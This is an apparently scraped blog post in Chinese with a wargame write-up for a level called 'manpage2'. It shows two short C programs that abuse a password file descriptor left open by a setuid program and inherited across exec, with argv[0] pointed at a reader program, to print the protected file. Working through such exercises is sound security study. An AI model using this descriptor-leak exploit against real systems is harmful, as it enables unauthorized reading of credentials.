Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

manpage2

$
0
0

问题出在,密码文件打开之后没有关闭,而fd是可以从exec继承的。于是我们先写一个读文件内容的程序

#include <unistd.h>intmain(){charbuf[64];lseek(3,0,SEEK_SET);ssize_tnum;while((num=read(3,buf,sizeofbuf))>0)write(STDOUT_FILENO,buf,num);return0;}

这里fd是3因为打开的密码文件的fd应该是接着0,1,2

然后执行manpage2的程序,让argv[0]为我们的读密码程序

#include <unistd.h>intmain(intargc,char*args[]){execl("/manpage/manpage2","./getPass",NULL);}

Viewing all articles
Browse latest Browse all 122

Trending Articles